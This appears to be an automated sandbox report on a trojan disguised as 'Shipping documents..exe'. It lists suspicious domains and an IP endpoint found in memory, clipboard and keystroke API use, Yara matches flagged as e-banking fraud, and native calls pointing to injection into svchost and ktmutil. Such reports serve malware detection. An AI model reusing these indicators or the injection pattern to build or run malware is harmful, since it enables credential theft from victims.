20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e e5 bd ac e5 b1 95 e5 b0 8f e8 af b4 e7 bd 91 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 Data Ascii: 18f6<!DOCTYPE html><html lang=zh-CN><head><meta charset=UTF-8><meta name=viewport content="width=device-width,initial-scale=1"><title></title><meta na

Source: FuFneNIzDsF.exe, 00000008.00000002.4571453200.0000000005711000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.econsultoria.online
Source: FuFneNIzDsF.exe, 00000008.00000002.4571453200.0000000005711000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.econsultoria.online/azb9/
Source: FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003FB0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.klohk.tech/3m3e/?SvrLY=3P8lALA&DDp=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000003D34000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003644000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.0000000015A54000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://34.92.79.175:19817/register
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://aiqb.top
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://anqb.top
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://aqqb.info
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://chqb.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cpjqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dhqb.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://dmqb.info
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://egqb.top
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://erxs.top
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://esfqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Exo
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gdlqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gdxs.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gsxs.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gwqqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hgqb.xyz
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000003D34000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000003644000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2740817749.0000000015A54000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?a1c8cf8ce51343444e7823fb95efe38e
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://iwqb.top
Source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DDD000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2630890430.0000000002E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DDD000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: ktmutil.exe, 00000006.00000003.2630056953.0000000007B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf7&r
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=10335-2LMEM
Source: ktmutil.exe, 00000006.00000002.4559793375.0000000002DDD000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000003.2630890430.0000000002DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002E06000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4559793375.0000000002E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ktmutil.exe, 00000006.00000003.2630890430.0000000002E06000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4559793375.0000000002E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ltqb.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://mgnxs.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ncxs.xyz
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://nfqb.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://oejqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://ozxs.top
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/css/parking2.css
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-desplegar.jpg
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-facebook-small.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-hosting.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-parking.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-ssl-parking.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-twitter-small.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-web-sencilla.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://piensasolutions.com/imgs/parking/icon-web.png
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://plus.google.com/u/0/102310483732773374239
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pmqb.xyz
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://shop.piensasolutions.com/search-ajax.php?utm_source=parking&utm_medium=link&utm_camp
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://stzqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://twitter.com/piensasolutions
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://wmqqb.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://wqxs.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.clarity.ms/tag/
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000500C000.00000004.10000000.00040000.00000000.sdmp, ktmutil.exe, 00000006.00000002.4571566936.00000000060C0000.00000004.00000800.00020000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.000000000491C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ktmutil.exe, 00000006.00000003.2634284897.0000000007B2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/certificado-ssl?utm_source=parking&utm_medium=link&utm_campa
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/crear-web?utm_source=parking&utm_medium=link&utm_campaign=we
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/dominios?utm_source=parking&utm_medium=link&utm_campaign=dom
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/hosting?utm_source=parking&utm_medium=link&utm_campaign=host
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/ssl?utm_source=parking&utm_medium=link&utm_campaign=correo
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com/web-sencilla?utm_source=parking&utm_medium=link&utm_campaign
Source: ktmutil.exe, 00000006.00000002.4569488926.0000000004CE8000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.piensasolutions.com?utm_source=parking&utm_medium=link&utm_campaign=piensa
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://xuaxs.com
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://yqqb.xyz
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://zeqb.info
Source: ktmutil.exe, 00000006.00000002.4569488926.000000000519E000.00000004.10000000.00040000.00000000.sdmp, FuFneNIzDsF.exe, 00000008.00000002.4569203486.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://znqb.info

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\Shipping documents..exe

Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C81C

E-Banking Fraud

Initial sample is a PE file and has a suspicious name

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4571453200.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568813272.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2433270626.0000000003560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4568990359.00000000030C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2432620170.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4568829458.00000000051E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4559476128.0000000002980000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2437565309.0000000006600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static PE information: Filename: Shipping documents..exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C883 NtClose,	2_2_0042C883
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B60 NtClose,LdrInitializeThunk,	2_2_03772B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03772DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03772C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037735C0 NtCreateMutant,LdrInitializeThunk,	2_2_037735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774340 NtSetContextThread,	2_2_03774340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03774650 NtSuspendThread,	2_2_03774650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BF0 NtAllocateVirtualMemory,	2_2_03772BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BE0 NtQueryValueKey,	2_2_03772BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772BA0 NtEnumerateValueKey,	2_2_03772BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772B80 NtQueryInformationFile,	2_2_03772B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AF0 NtWriteFile,	2_2_03772AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AD0 NtReadFile,	2_2_03772AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772AB0 NtWaitForSingleObject,	2_2_03772AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F60 NtCreateProcessEx,	2_2_03772F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F30 NtCreateSection,	2_2_03772F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FE0 NtCreateFile,	2_2_03772FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FB0 NtResumeThread,	2_2_03772FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772FA0 NtQuerySection,	2_2_03772FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772F90 NtProtectVirtualMemory,	2_2_03772F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E30 NtWriteVirtualMemory,	2_2_03772E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EE0 NtQueueApcThread,	2_2_03772EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EA0 NtAdjustPrivilegesToken,	2_2_03772EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E80 NtReadVirtualMemory,	2_2_03772E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D30 NtUnmapViewOfSection,	2_2_03772D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D10 NtMapViewOfSection,	2_2_03772D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D00 NtSetInformationFile,	2_2_03772D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DD0 NtDelayExecution,	2_2_03772DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DB0 NtEnumerateKey,	2_2_03772DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C60 NtCreateKey,	2_2_03772C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C00 NtQueryInformationProcess,	2_2_03772C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CF0 NtOpenProcess,	2_2_03772CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CC0 NtQueryVirtualMemory,	2_2_03772CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CA0 NtQueryInformationToken,	2_2_03772CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773010 NtOpenDirectoryObject,	2_2_03773010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773090 NtSetValueKey,	2_2_03773090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037739B0 NtGetContextThread,	2_2_037739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D70 NtOpenThread,	2_2_03773D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D10 NtOpenProcessToken,	2_2_03773D10
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03394340 NtSetContextThread,LdrInitializeThunk,	6_2_03394340
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03394650 NtSuspendThread,LdrInitializeThunk,	6_2_03394650
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392B60 NtClose,LdrInitializeThunk,	6_2_03392B60
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_03392BA0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_03392BF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_03392BE0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392AF0 NtWriteFile,LdrInitializeThunk,	6_2_03392AF0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392AD0 NtReadFile,LdrInitializeThunk,	6_2_03392AD0
Source: C:\Windows\SysWOW64\ktmutil.exe	Code function: 6_2_03392F30 NtCreateSection,LdrInitializeThunk,	6_2_03392F30
